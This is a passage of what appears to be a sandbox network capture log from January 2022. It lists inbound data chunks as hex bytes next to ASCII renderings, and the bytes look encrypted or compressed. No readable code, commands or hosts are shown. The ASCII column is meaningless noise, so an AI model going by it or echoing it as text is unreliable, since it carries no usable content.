5b f9 e4 fe 4a b9 e3 b5 0e 9b d0 51 fa a0 f0 ed 6a 07 3b 43 1b bc e9 65 d6 15 c5 36 d8 09 c4 61 d0 b3 a8 c2 f6 80 63 7c 33 21 ef f7 e7 fb 8b 90 1f 76 8e cf 61 e3 b3 ff aa c3 Data Ascii: PLRwNgE_w]=B}6V.gioq@Y__HFDG@gx(cP#@rSgCiD%q(#fE$,.vDmm]06qW>pFtB]^dOLF[JQj;Ce6ac\|3!va
2022-01-14 03:59:48 UTC	3289	IN	Data Raw: 3f c1 2f 25 52 5e f8 47 63 ef ec e7 11 5f 95 b9 56 b7 4c 8b 11 66 c7 18 fa de d5 a2 17 70 fd 1c 8c 6f 0b 04 34 68 aa 26 4b 7d ea e4 87 08 ed 1b ac b6 4e 9f 2e 2c c0 e0 b4 31 12 54 15 e2 d0 fd e3 e6 72 e5 f6 81 96 ff 96 d8 8a 06 79 03 71 0b f2 8f d3 37 18 1b ce 1c 34 7b 17 b9 af 77 70 b3 23 35 6d 90 c9 a6 47 27 55 7f 73 75 23 7a 2a d9 e1 51 00 d7 ef ef 30 86 ed 2d b2 aa 31 0f 79 ff 93 53 5d cb 4b 48 6e 7f dc c5 67 31 98 a9 08 fd cb ac 05 25 cb 85 da 8d 94 9a 70 71 f6 2c 47 16 c3 55 80 d7 bc 2d 40 7b 32 02 8d 2c 11 0a e6 ac 78 95 4b 60 1e 74 56 81 e4 04 47 71 1a eb ce 14 e8 8f 57 b9 a2 c6 e9 e0 6b 0b ba fd 57 ea 71 28 8c 2a a2 c5 a1 71 38 de 68 b1 34 13 70 c9 b6 b2 8e 95 74 73 52 ca ba 8a 42 73 f1 69 9d fe 37 2d d5 74 73 0f e0 f7 2e 0f e9 27 02 14 20 50 6d Data Ascii: ?/%R^Gc_VLfpo4h&K}N.,1Tryq74{wp#5mG'Usu#zQ0-1yS]KHng1%pq,GU-@{2,xK`tVGqWkWq(q8h4ptsRBsi7-ts.' Pm
2022-01-14 03:59:48 UTC	3305	IN	Data Raw: 9f c8 79 08 f0 59 8e a7 c6 f6 e7 0d af 83 8f 04 91 f4 7b f6 8f 13 63 7e 8e df 9c 0d d2 89 d9 d3 ee 08 d2 cf 61 7f 90 01 d7 9a ce 1d 04 33 94 93 2b 55 b3 5b bb f8 86 fa f7 cf 3d c1 51 5d db a8 ab 46 d1 ea 5b 1d c4 ef ae 7b 36 e0 b7 43 c4 1b a2 56 be b7 95 80 e2 da 96 22 3a bc a7 0c 2a b9 97 d0 a3 79 27 8f 5c 48 de 67 01 54 cf 09 ad 37 4c dd 8c 09 b8 88 f6 1f 8b ba 5b e0 84 80 53 0d f7 30 43 04 ac f1 b0 07 42 8a 7b 65 e9 19 5f 5f 20 20 63 83 77 96 58 17 83 41 c2 fa 79 2a a5 71 40 ae 66 2a 57 c0 d7 cf 62 c8 2f c4 2f 85 30 61 b2 a2 e6 70 1d 6f 5e 21 ac a2 aa 6e 08 17 fd 51 6f 10 fe 86 10 69 8b 32 b5 39 7c 41 b5 22 a0 34 a9 ab cf ac ea 14 8e dd 07 5f 15 96 ca 5a 34 e3 13 9f 20 94 48 30 14 e8 c2 c9 99 60 34 53 5a 8b 94 a6 99 3a c1 3c 02 0d b2 f4 b6 fe 22 ae 8b Data Ascii: yY{c~a3+U[=Q]F[{6CV":y'\HgT7L[S0CB{e__ cwXAyq@f*Wb//0apo^!nQoi29\|A"4_Z4 H0`4SZ:<"
2022-01-14 03:59:48 UTC	3321	IN	Data Raw: da da 20 48 c7 cf db 9d d9 57 2a 75 78 44 aa c8 49 17 67 07 f1 81 63 bc 7e 71 19 60 ab a7 95 37 87 af 2b 51 37 63 0c d1 05 e6 a8 e1 a3 83 dd 46 d9 b0 b9 d8 87 67 21 8f 2d ea 88 cd 96 9a 86 b1 a2 9d ca 1f 70 37 52 d6 cc 7a 92 33 1a b3 bf 09 64 e9 d5 9d 07 ac b1 c4 c9 c1 9a 8a 68 0a c7 a9 17 30 2d 07 f0 f3 81 35 0f e0 e3 99 dc 23 bc 15 8c 09 91 7d 8e 2e af b4 84 f2 0d c4 ce aa 56 ee cd f8 87 47 30 74 18 cd 6e 9d cb f4 a8 c5 23 a4 1e db 1b 59 f0 6f a4 05 42 8f 9c 73 65 2d a5 84 78 1f 03 ce d3 aa 96 e1 5d 52 c6 bd ab 00 bf 8b 63 f5 85 bc c2 7b f4 b8 8f ef 42 74 83 7d 9e 29 6e 2f d1 6e 5f 87 dc bb 5e 89 35 0a fa 8d 0c 50 86 cd 8a 10 76 31 70 58 b2 57 2b 2d 88 c2 30 aa b1 7a aa 0b c4 63 32 5e 39 71 7b b2 90 e5 e4 b3 5b cd 29 94 58 62 9e 57 d7 26 83 2a 72 22 d3 Data Ascii: HWuxDIgc~q`7+Q7cFg!-p7Rz3dh0-5#}.VG0tn#YoBse-x]Rc{Bt})n/n_^5Pv1pXW+-0zc2^9q{[)XbW&r"
2022-01-14 03:59:48 UTC	3337	IN	Data Raw: ad f3 08 5f fc c0 37 9f 1a e2 c9 e1 81 e8 31 82 43 ef 39 27 2b 4f a0 a5 f1 18 9c bb 1c 0d e2 03 e9 5b 23 51 59 7e fa ff f7 80 95 a0 e9 59 79 79 c6 8e c0 08 54 b5 08 f8 3c 4b 60 3a bf 61 f1 8a 32 13 c5 70 6d 3f 4d a1 82 e3 cc 7e 6d 2e 93 f4 09 26 12 e5 f4 c4 41 87 90 84 cf 15 bf b8 de 4a 42 04 b8 54 43 e0 ff e0 dd 25 4f 7b 9d 92 e4 81 b6 0d 0d 3c bf dd 78 78 3a 49 58 6c d7 40 a1 0b 47 db 1a b1 55 5c d0 b3 c5 6b f3 a6 2f 99 8d 20 c7 41 6f 4a d8 ca 89 b9 f3 75 02 db 04 6a 63 19 47 6e 32 fb bd d7 8d 78 91 1a cb 77 40 63 9c d9 81 6a 7f 86 85 9a e2 3e a7 3f 71 bf 33 4e 4a b9 e4 6e 5a 6c 29 eb 42 79 ff e1 4d 22 fa 3f b5 db d8 8f 21 8b c5 a6 20 02 63 f4 a9 b0 a9 2a 8f a3 2b 77 03 7e 3a c5 4c fe be a7 f8 2e 52 f2 52 72 94 85 44 2a d2 26 8c 13 b7 64 84 b0 78 24 4f Data Ascii: _71C9'+O[#QY~YyyT<K`:a2pm?M~m.&AJBTC%O{<xx:IXl@GU\k/ AoJujcGn2xw@cj>?q3NJnZl)ByM"?! c+w~:L.RRrD&dx$O
2022-01-14 03:59:48 UTC	3353	IN	Data Raw: db 3b de e5 bb c1 b6 e2 06 cf 03 77 39 aa 87 92 16 1c a8 55 f1 60 db 79 d7 8d 70 27 24 2b e8 25 6f 8a b8 18 72 69 48 54 46 17 cb d4 fd d9 16 b8 97 b3 89 7d 59 18 38 91 46 06 8d 4f 13 75 e0 94 ab 5e 57 53 90 68 8d c7 be a3 6f 2d ad 94 d5 07 55 60 17 ac d9 d9 18 6c c8 8c b3 ef d8 ad 20 cf 42 6f 65 ec b9 e5 67 47 4a 8a d1 da d9 ed 5a e3 c1 0e 34 c6 5d eb b2 c2 16 96 fd 00 5d d0 79 3c d3 6c 77 6e 54 a0 c8 f6 38 25 eb c1 5d 64 45 8d 23 58 a8 f6 d8 f4 29 89 16 b1 26 47 15 69 5b cc 79 ad 5a f8 e1 77 8c ca 34 96 5a 3e 8d 04 f5 41 48 48 66 fa 6f 81 c6 97 e5 82 47 e2 ae 22 06 23 77 9e 35 c4 1c fa 33 69 90 65 91 f0 d1 6c f9 6a 0f af 26 1f 3b d8 4d cb 80 64 ab 9e 6d b5 ae f8 59 43 0f 14 71 70 65 1d 3c 0a 03 d9 45 05 f8 2d 80 42 44 89 06 50 6f ab a8 ff b8 b8 23 98 3a Data Ascii: ;w9U`yp'$+%oriHTF}Y8FOu^WSho-U`l BoegGJZ4]]y<lwnT8%]dE#X)&Gi[yZw4Z>AHHfoG"#w53ielj&;MdmYCqpe<E-BDPo#:
2022-01-14 03:59:48 UTC	3369	IN	Data Raw: a5 d5 2b e0 c3 c9 eb 7f e2 e1 dc c3 11 2f 2c 17 ef 9f 2b a4 d8 0e 5f 4f b6 88 30 a7 2f cd 57 62 4a 34 8d 24 cd 77 f9 47 fc 67 f4 58 e1 58 2a b8 0e 7b f9 42 f1 c5 aa cc 23 d9 ac 65 29 60 2a c3 36 08 11 b5 98 1a d0 03 d0 1e b6 ae 97 51 0a 40 ff 05 f3 00 00 3c 8a 3c 5d f4 67 35 4c ea a2 dd 82 d7 c6 6d 63 58 be 57 58 c2 9b 36 37 21 f2 57 d5 ed e3 32 5a fa 24 66 32 44 bb f4 85 a8 54 08 6c 86 4d 74 a1 b6 a6 a2 d8 b2 9b 30 60 0e bd ca 15 9b b3 37 6c c3 f9 4d fc 0e f2 cc 0a 04 15 67 4b a7 8a 9c 74 6d ff 1e 9a e2 d6 dc 81 a2 47 59 49 b5 df ca 02 5b 71 e1 9a ce 06 4f b4 0c 73 b5 a3 3c e6 7a 9b 56 52 61 ce 2e fb 89 73 bc 03 67 85 4e b8 0e 29 9b f0 e6 d7 d2 1f 71 0f 07 d2 d8 d5 56 20 6c 54 7f 5c 44 d1 cf 26 6d 60 e8 7e 14 93 0e ce e2 94 92 39 96 81 3a 13 32 01 bc 88 Data Ascii: +/,+_O0/WbJ4$wGgXX{B#e)`6Q@<<]g5LmcXWX67!W2Z$f2DTlMt0`7lMgKtmGYI[qOs<zVRa.sgN)qV lT\D&m`~9:2
2022-01-14 03:59:48 UTC	3385	IN	Data Raw: df 9e c1 d9 6f c1 e6 62 9b ba ef 35 46 04 f2 79 15 85 55 46 6b 88 ac 2d 99 f5 ff 46 8a 3e 1f 77 85 52 c1 a2 26 98 99 13 91 f2 81 44 0a 7d fb f9 de ee 50 84 c6 10 d5 47 a9 9e ef 85 16 a5 64 67 12 d0 37 60 98 36 b3 fb 03 af 9a ad 07 45 4a 92 c5 20 4a d5 f0 d6 67 70 b5 b7 ef 33 38 e4 fe ad 8c 34 12 17 10 99 cc 86 8b 7f a2 70 70 94 f0 7b ef fb 41 6d ed 4d 52 a5 5f 22 32 9a cd 07 81 e6 bc 70 24 fe c4 d9 da 9f 14 78 fe 5e 46 eb 01 6b 1e 90 d2 99 c5 6c a6 36 d7 ce c4 ad 50 ba 35 12 c1 66 08 78 d0 19 43 be 16 99 3b c5 d6 ba 36 ab 35 e0 d5 5e 7b 26 d7 fe e8 c5 68 41 24 01 3e 0d cd 97 60 7a 3c b4 39 d3 6a dd 10 c3 6c f3 6a 92 50 87 a7 ec 93 77 f3 f8 e9 d2 16 69 8a 7d 9f e4 d9 4e 3a 3f f2 0a f6 a9 17 d5 77 1e 50 35 e7 05 d7 92 31 cb ca f3 ba 31 0e a5 2f e7 ed d8 e8 Data Ascii: ob5FyUFk-F>wR&D}PGdg7`6EJ Jgp384pp{AmMR_"2p$x^Fkl6P5fxC;65^{&hA$>`z<9jljPwi}N:?wP511/
2022-01-14 03:59:48 UTC	3401	IN	Data Raw: a0 46 ec d3 b9 e0 69 7b 16 ca da 6d ec 0e 57 0a 50 94 61 4f fa 71 81 28 48 a5 92 bf c7 2c 73 8e 3f 5d 29 51 0d 04 4f e8 38 69 11 52 02 a6 a1 72 ef ac 44 c4 bf c4 65 7b ff ea c0 55 4c de 54 df c7 33 33 16 a6 33 6b 31 4a ee 59 31 40 eb 46 1d 6f 30 23 4b 2b ca f5 4e 35 ba 70 d2 b0 27 26 a2 66 7f 9b ac 95 cb e9 5f e5 28 92 f2 44 69 d7 2d e9 83 51 e9 17 18 63 c9 99 67 35 58 a8 5e d3 a7 55 32 69 c7 c7 04 1b 3d fa b9 b5 1f f0 71 81 fa 90 80 f6 4c 0b 51 59 3e 68 e2 c2 b6 56 d3 69 54 b4 94 99 79 bf b9 a8 83 9c 4e 0f 51 da bb 5c fa 87 c9 ba 21 64 43 de d5 f5 77 f0 58 d7 35 e7 6d e9 e3 62 76 e8 28 1e 79 27 b2 a7 3f 21 12 2d d2 a8 e1 4a 82 2b 1c 35 c0 53 a6 d7 f0 d1 47 9e 46 8f 86 56 af 8d f9 20 cd b1 ba 58 8b 9b b5 29 eb de 7e ef 81 bf a6 23 e3 ca 49 06 ff e8 96 d7 Data Ascii: Fi{mWPaOq(H,s?])QO8iRrDe{ULT333k1JY1@Fo0#K+N5p'&f_(Di-Qcg5X^U2i=qLQY>hViTyNQ\!dCwX5mbv(y'?!-J+5SGFV X)~#I
2022-01-14 03:59:48 UTC	3417	IN	Data Raw: 0f e0 d3 46 b5 9a 9b 99 d3 28 82 59 27 56 f5 81 66 06 b3 24 b3 84 90 5a e0 d7 52 ed 83 4a 90 11 8d d2 96 71 54 0e c8 5f c3 54 53 a4 22 13 99 72 3c 51 44 00 d4 1c 24 66 a0 74 0a d4 fc 88 7a fc 41 44 7a 3a df 74 e6 2d c4 c3 ec 88 00 c2 40 06 62 9b 27 02 d9 7a 67 12 97 c5 cd f1 84 fc 90 3a 0d 8a 84 93 3f c2 53 26 fc 7f f1 28 5b 9e 43 2f 0e 77 4b 58 99 e4 7f 46 3c 28 57 cb a0 a6 a2 b1 9a 03 15 25 71 a4 77 88 31 18 fd 42 ec fb de aa 46 3d 98 ff 64 9f cb 07 7e 5c 7c c9 1a 04 b5 71 8b f0 bb c5 28 5b 31 99 db e3 06 7c c3 ad 80 87 be e6 55 33 57 41 f2 ac b3 d1 c3 cb 6d 80 32 be cf f7 11 8d e8 4d bd cc e6 e6 d1 33 db 4e 1f bc 0e 60 12 74 86 cb 7e c9 d3 f6 b0 cd 65 4d c6 af 77 d8 eb ce a9 09 a9 72 d5 08 61 ab 3a 8d 14 a4 89 41 fa f7 47 6d b7 e6 2d 2f 47 eb c6 30 55 Data Ascii: F(Y'Vf$ZRJqT_TS"r<QD$ftzADz:t-@b'zg:?S&([C/wKXF<(W%qw1BF=d~\\|q([1\|U3WAm2M3N`t~eMwra:AGm-/G0U
2022-01-14 03:59:48 UTC	3433	IN	Data Raw: 4e f3 3f b6 2c e6 49 bf 38 08 ee 58 a2 25 04 73 6f 79 29 4a be 8e a3 e9 7f 7f 7f e8 58 55 d2 0a 66 d4 c8 b4 6d 59 a9 ef 26 97 e8 63 72 6d 40 45 10 52 7c 2c 35 be ba 8b 0e 50 bd d6 57 2a 81 62 2d e4 d7 40 2b c1 87 60 8a 9b e2 7f 36 b0 ea 26 c1 77 be 45 d8 62 9b 6d 47 02 84 cf 64 f8 ac 25 da 9d df 12 3a aa 6f 08 8a 79 10 3b 3f 4d 4f 75 69 54 88 a8 ba 30 9d e7 87 ce 52 b9 87 22 8d 9a c4 1d a0 91 cb 18 2c 34 94 e1 fe 35 e0 47 8c f8 fc cb 85 d7 8e 22 42 0d 8b d2 b3 c6 6e 85 c8 7e 45 4d 5a ad 76 41 70 99 e4 17 35 97 1a cc b1 b7 62 5e 75 45 e6 43 52 84 67 3f da e3 70 68 0d c1 96 b4 d7 3a 91 3d e7 b8 16 7d a8 43 c4 ec 91 1d c2 96 9f 29 46 ab bf eb 8c a0 35 53 f3 5e 8c 53 a8 01 a9 e0 63 7a 41 f7 90 40 54 47 b1 f8 8d 67 5f 67 4d f8 aa 0a bb 10 1f 9a a1 b1 9c 3f 49 Data Ascii: N?,I8X%soy)JXUfmY&crm@ER\|,5PW*b-@+`6&wEbmGd%:oy;?MOuiT0R",45G"Bn~EMZvAp5b^uECRg?ph:=}C)F5S^SczA@TGg_gM?I
2022-01-14 03:59:48 UTC	3449	IN	Data Raw: 82 d1 11 50 5c 2d e1 f0 48 eb 31 48 8f 35 3c 97 03 71 60 20 79 8e 88 13 80 84 21 c1 18 5e 61 6f 93 9c 39 02 ba 35 82 4c bb ed 57 59 7d 87 83 eb 0c d4 84 ab ff 77 7b e1 00 8d d9 58 e8 c3 65 22 ef 47 c7 dc 43 1f 7b 4d 08 ec d4 6d c7 d9 2d 8e ca 22 47 a4 6b f0 5c 3b 04 02 27 e8 14 13 c5 84 06 c9 d0 7f 5b 1d 35 56 f7 ac 88 38 44 98 3c 9c 6f 25 13 c3 1d 1d 7b 8f ce ea 75 bf 57 43 93 a5 53 df 53 72 f9 0c 7f 1a c7 2d fc 6a 04 82 74 4c 76 64 c6 8e 13 69 7f fb 43 04 b1 25 3f 41 1f 70 7b f1 38 cd 8a ba f9 de e2 e3 1a 02 96 0d 7b 0b 94 11 29 75 3b c0 c6 4a 1c b6 16 3a 09 00 0b 3c 05 f1 b8 d6 cb 59 f5 aa 23 7f 24 03 c5 ba 39 4e 28 dd 16 d9 a8 47 7f c2 61 82 dd bd 08 52 ca a7 9d e4 49 7b ca 0b 73 69 e9 1d 57 96 5d ec ba f4 13 fd 86 8d d2 d2 b8 07 36 e9 ae f1 9e 0f 9b Data Ascii: P\-H1H5<q` y!^ao95LWY}w{Xe"GC{Mm-"Gk\;'[5V8D<o%{uWCSSr-jtLvdiC%?Ap{8{)u;J:<Y#$9N(GaRI{siW]6
2022-01-14 03:59:48 UTC	3465	IN	Data Raw: 41 76 ba 5f 80 31 5b 5d 66 6d 3a a4 b9 e8 51 bf f9 a9 7b ce 67 98 33 64 38 d8 1a 3d d7 eb 55 90 3e 09 af 68 5a 98 62 17 a1 a4 61 8d 28 2a 34 a3 f3 33 0c 7c 6a 90 d1 ed a1 1d 3d f2 43 12 8e 14 3a 19 9a e1 0d 5a 5c ac 8d 89 52 8e 37 20 e7 54 7f 76 1f 0e 71 25 96 6f 6c 95 90 30 0b 04 57 1b 2f bf c4 73 b3 7f 2b 87 3c 46 fa 84 63 80 13 13 a6 64 34 df aa 7b e1 35 19 2c 72 a2 8f d0 e1 a8 a8 a5 df 22 b3 ca 59 c8 99 b4 49 a6 09 b2 be f6 81 0d 49 7c c1 26 49 6f 9e 1e 00 9e 95 70 e1 1a 5a 82 cd 43 be 22 90 4b 83 4f 92 e5 e1 83 e1 8e 8e b1 ef ab 4a f5 8d 3e 7b b8 e8 d7 0c a5 cb 59 ba 5a 04 05 19 e1 ec 31 9c 2b 23 2d 9c 1a 67 3c d2 ec 21 d6 3b 8e da 29 a1 9a e7 c5 3c 4a f6 31 01 c1 2d ae 4f 47 a6 15 2a 3c e9 61 53 56 30 81 a9 be 9a 69 97 6c f0 70 04 06 eb 88 61 43 be Data Ascii: Av_1[]fm:Q{g3d8=U>hZba(43\|j=C:Z\R7 Tvq%ol0W/s+<Fcd4{5,r"YII\|&IopZC"KOJ>{YZ1+#-g<!;)<J1-OG<aSV0ilpaC
2022-01-14 03:59:48 UTC	3481	IN	Data Raw: d1 8b 07 a3 58 2c 12 0d 44 ea 1c fe 60 a6 2b 90 b1 7c 54 a3 c0 27 67 7d f7 d8 91 ae 2c 74 8f 58 59 ed b4 e6 dc 97 cd 26 cb 59 87 cb 64 b0 b2 32 3f 50 66 db 70 35 78 90 b8 bf ca db 50 c3 46 61 39 fe 27 b9 28 b1 35 69 c1 d8 15 9d 5a 46 ff 04 83 8a c7 6a 8a 80 9c 09 60 5e 0e 0b 1c d9 a4 f2 5b 4e 16 88 5a a6 32 e4 10 bb 7f fb fd 16 d1 c0 cc c7 1b eb 12 ea 7b d3 ac 71 0a 17 75 f8 44 ab 97 ca a2 c8 74 50 5d b0 5d 71 2f cb 51 4c a6 ce 36 ca 39 f7 7c 2d d0 3d 58 d1 45 73 2c 5a 3f 35 2b ca 7b 6f e9 52 36 cb 98 ae 3a 2d 68 dd a0 ff fe bc a2 bf 9a 79 6b 6c 48 d7 e1 c9 c2 89 32 70 29 8f 86 2b ca f4 88 d8 20 ff 43 b5 1b b9 4b 69 8e b5 ff 5e 37 0b c9 f8 81 24 02 72 4b 95 1a 33 dc cc 82 eb 01 b0 0e 05 4c cc 73 c7 57 ea 53 71 27 0c 5a c7 b4 6c d0 58 c6 be 61 27 f9 1e 38 Data Ascii: X,D`+\|T'g},tXY&Yd2?Pfp5xPFa9'(5iZFj`^[NZ2{quDtP]]q/QL69\|-=XEs,Z?5+{oR6:-hyklH2p)+ CKi^7$rK3LsWSq'ZlXa'8
2022-01-14 03:59:48 UTC	3497	IN	Data Raw: 75 23 8a 8d ff 6c 8b 30 f8 9e 50 45 8e cd 5e 81 32 14 bb 56 94 7e 80 58 a0 f2 4d 47 32 d5 3a bb c9 02 ce 7b 38 d5 b3 9c 30 ad fa 10 0d dd b7 48 82 97 97 f1 ef 75 4b b0 70 ab 07 b1 90 09 b8 37 ce 18 4f cf c9 a3 98 fa 1c 24 d4 af d7 e9 b6 5d be 32 89 33 cd 91 40 95 95 a7 ab 2a 77 2c 03 0d 83 aa 4b 80 03 50 66 02 a8 07 ea 94 6b 2b ea 8b 4c 18 2a 6a 54 a1 64 c3 35 d8 3d 57 9d 0e b4 51 95 9f 3e 1f d9 18 f1 fb e4 aa 7d dc cd 5c 34 d0 21 92 44 ae 17 9e 42 fc 38 dd f8 62 59 1b f1 de 5d a0 f9 e9 00 70 81 1e 1f ef 02 97 fa c1 ac 3a fb ff 49 b0 eb 2c eb f6 80 19 ed dd d9 e1 5e d0 6f 8e 9a 81 b2 57 0f d6 a4 9c b0 d0 ed 15 dc f7 9b da d0 51 d4 8e 1b cf 65 10 fd eb cf 55 c4 d7 2e 71 09 bd 13 8a b7 d4 cf 4c b7 67 b4 e8 ae a2 b3 11 5f 86 4a 1c 98 f1 90 5e 37 43 f5 f5 55 Data Ascii: u#l0PE^2V~XMG2:{80HuKp7O$]23@w,KPfk+LjTd5=WQ>}\4!DB8bY]p:I,^oWQeU.qLg_J^7CU
2022-01-14 03:59:48 UTC	3513	IN	Data Raw: 6e 23 4d 7d 07 45 64 83 4b b4 63 06 0f 77 24 f1 11 77 66 6f 74 ff d8 e3 91 78 01 8a 3f 96 f2 81 8b ff b4 a6 9a 9c 2c af d7 0a b7 74 15 d7 c3 5e 61 1c 9e e4 22 da 88 35 56 03 61 90 a5 de f5 61 20 7f 62 eb 71 cc b2 df 46 c6 05 5c 88 64 05 fb 2a ba 43 2f 8f 9c 28 aa a2 7c a7 62 3d f7 94 c4 da 3e f5 06 30 ef 28 16 72 08 12 a0 42 c1 c7 5d 1d f1 06 7a 07 be 3e 69 9d e9 25 46 64 5c e7 0f 42 a1 bb e1 6f b2 5b d7 a8 9b 7d 6b 08 90 ca 40 d5 d6 58 56 9a a6 6e 88 31 cd b3 b7 e9 2c e6 82 b4 dd ac c7 9e 81 33 14 8c 00 b3 92 c5 c3 93 ff 27 d6 5a f4 0e 38 ac c5 32 f3 c8 95 a5 5e 3f 40 0c 60 f5 6d a4 33 68 21 36 d4 9a 15 f3 03 72 70 47 87 4d 85 ac 71 6f 78 1a 34 3d 51 f3 b3 c6 8a a0 dc 6f e8 23 b2 c8 f9 69 5b 33 f7 67 82 d9 88 48 7a 6f 7e b5 c6 a5 96 fe 03 43 eb 73 dc ca Data Ascii: n#M}EdKcw$wfotx?,t^a"5Vaa bqF\d*C/(\|b=>0(rB]z>i%Fd\Bo[}k@XVn1,3'Z82^?@`m3h!6rpGMqox4=Qo#i[3gHzo~Cs
2022-01-14 03:59:48 UTC	3529	IN	Data Raw: d1 ec 14 cb f1 92 8d 61 0e 2f f5 ca 5a 63 a5 ba 28 b5 ae b1 48 b7 24 1b c3 76 d6 11 65 bc bb 5d 32 49 bb ba ba 74 ad 67 91 cc 3c ae 4b 25 0f 29 9d 39 12 75 de ec f3 02 eb 71 07 b6 bb 44 8e 4b 0c 48 c8 50 1d ae cf 70 9b f9 30 3a a9 f6 e3 53 75 3f 22 29 12 b4 3b 38 a8 0d dd 40 28 54 9b 7a 23 db 1b bf fc da 69 a9 dc 75 09 f9 43 9e 91 a9 b1 1f e3 2f a9 f4 21 5c 3d f3 b6 f7 d8 3f df 68 a1 da 3c c1 c0 08 9e 99 ed fa a0 73 c3 94 96 f3 d1 0b 86 d5 5a 25 4e e6 98 32 1c 0b a3 04 d0 93 f3 6c 37 9c 0f 5c 9c 48 25 2c 74 03 71 02 92 1b 37 36 a0 ba 90 09 75 1f 20 5d 90 1a 0c 42 90 94 3c ea ea 02 5e d4 8d d6 7c 85 91 dd 0c d9 45 e5 a3 fa 98 e3 75 16 8e 7f f5 0d 70 6e 48 a4 31 e0 60 ea cb d2 dc fa 39 30 23 27 eb 01 f9 68 e1 b0 18 95 8b ee 8c e7 bc b1 ec ae 3f 4e 80 30 3c Data Ascii: a/Zc(H$ve]2Itg<K%)9uqDKHPp0:Su?");8@(Tz#iuC/!\=?h<sZ%N2l7\H%,tq76u ]B<^\|EupnH1`90#'h?N0<
2022-01-14 03:59:48 UTC	3545	IN	Data Raw: 21 9e cd 9b a0 28 4b 17 c4 c6 c8 ee df c4 1d f2 22 9f d5 3c 8a be ea 08 c3 49 98 4b 7f ef 5d cf 7d 3e b0 01 82 5e 10 ce 55 10 6e 64 09 ef a7 02 74 b7 d5 1a 36 b3 41 aa f3 0d 31 fe fc ee cf c1 b6 af b9 91 8e 3e 26 41 59 76 3d b7 4a 9e db 5d c2 f5 93 bc aa 9f 83 44 ac 0a c5 a1 25 2a 46 37 8d d6 b6 3f be 05 3d 55 35 c0 67 20 41 ea 90 10 ba f2 bb 44 79 fe 1b 9a 4a ef 3f 05 1c e8 70 9b 49 a4 4c 83 4c 85 45 36 f9 28 57 8c 11 a0 23 c6 83 54 f5 2d 80 9f 22 d5 ca 22 51 a2 eb db fb 58 2b 7f 63 0c 4c 50 af 92 9e 31 e6 2c da d9 f1 af e0 35 a8 3d 44 0d 8c 76 66 6d ca 90 24 45 f7 35 b2 a3 ac 0f a7 3e 92 38 2d df 78 ca a0 75 27 78 a0 f6 33 7d b3 c5 bc 98 2e 51 48 9b 07 60 56 5e c7 f1 9b ec 61 a3 5c cc f0 b7 87 d8 28 e4 41 1a 45 f3 da c0 e4 8a ee 94 80 94 7e e9 a3 14 bd Data Ascii: !(K"<IK]}>^Undt6A1>&AYv=J]D%*F7?=U5g ADyJ?pILLE6(W#T-""QX+cLP1,5=Dvfm$E5>8-xu'x3}.QH`V^a\(AE~
2022-01-14 03:59:48 UTC	3561	IN	Data Raw: ce 6f cb 6a a5 d5 f4 87 69 e3 2e 57 6f 59 9a 08 39 71 20 ac 40 24 e7 5e c4 92 89 f8 dc 73 ed b5 9c 52 f9 3f 7d f9 09 67 9e 37 89 53 e1 07 dc 77 be d8 07 bd 27 64 61 7b be 22 f2 f2 43 2e c4 22 94 f7 9e 1d c8 0b 8f 09 a7 9d 0e c4 33 51 4f 30 13 b1 8d 16 14 47 52 16 ed 5d 6c ea 17 79 49 96 56 f6 9c 32 c7 e9 83 b4 65 94 18 11 7b 23 7f 2d 99 76 cb 34 1a bc c1 74 cd b6 ea a6 9f 70 6f 14 2b 8a 39 7d 11 1f cf 6e 20 a9 ed 61 c6 14 5c dd 86 f4 55 cc 68 b3 52 18 00 fb f2 e7 26 ab 97 0c 29 ca 7a 82 ca 2c 00 d6 c3 18 c2 7e 61 f8 85 9a 42 d5 27 98 2c 55 7e 41 45 ee 4c 93 7a 71 ae bb 06 c9 4b b4 1c 4a 5a 14 3a 08 98 fc ea 0c c1 6d d5 5f 52 71 44 c5 fa 92 84 4a 07 57 ce 21 ba 04 82 7d 52 ad 53 80 20 e9 22 a6 4d 8a 67 45 11 46 d3 66 6c ca c2 ca 5c b2 6c 0b 0e 55 e8 6d ba Data Ascii: oji.WoY9q @$^sR?}g7Sw'da{"C."3QO0GR]lyIV2e{#-v4tpo+9}n a\UhR&)z,~aB',U~AELzqKJZ:m_RqDJW!}RS "MgEFfl\lUm
2022-01-14 03:59:48 UTC	3577	IN	Data Raw: 86 8f bb 4d 1c 82 4d 5d f6 cb 85 1c ec ae 8e 17 a5 fc ee 28 29 3b 22 e4 66 b3 c9 87 42 7a 9a 3c 1c e0 8d 4b 86 ac c1 d9 7b 65 30 10 a5 a0 a6 f8 be 0d 37 17 43 7e db 9a 6a 6a a2 36 b3 51 ab 74 d7 c7 2e 28 28 df 02 33 46 5b d8 43 d6 b9 58 6e 00 8a fd a9 50 7b e9 16 d3 21 3d 33 6e 84 74 f5 04 df 5e f6 e1 43 26 56 6c a3 6c f2 e7 25 e9 95 c8 4f 36 e1 80 18 57 02 9f 0f e7 e4 e7 d2 9c a6 6f f1 ac 09 c0 d2 23 a9 87 ba 85 5d ea c9 5b 5a 76 f9 8e af e5 1b ee 08 f9 7d e3 b3 7e a7 9a 17 09 04 d5 53 cf 22 24 16 87 2d ea a4 e7 19 50 25 d4 69 22 f2 d3 62 5d b7 a4 0f e8 70 35 33 a9 1a fc 00 0d b1 1d d9 8a 10 5e 25 53 1f b0 f2 2b 1b 76 17 f2 6e 9b 64 77 f3 10 1e b9 ec 95 dc 90 b1 ae fa cc d1 52 3b de 44 de 38 c1 0c 16 4e 5b 45 94 37 e5 42 c6 e8 9d be b3 f5 77 89 de 67 7b Data Ascii: MM]();"fBz<K{e07C~jj6Qt.((3F[CXnP{!=3nt^C&Vll%O6Wo#][Zv}~S"$-P%i"b]p53^%S+vndwR;D8N[E7Bwg{
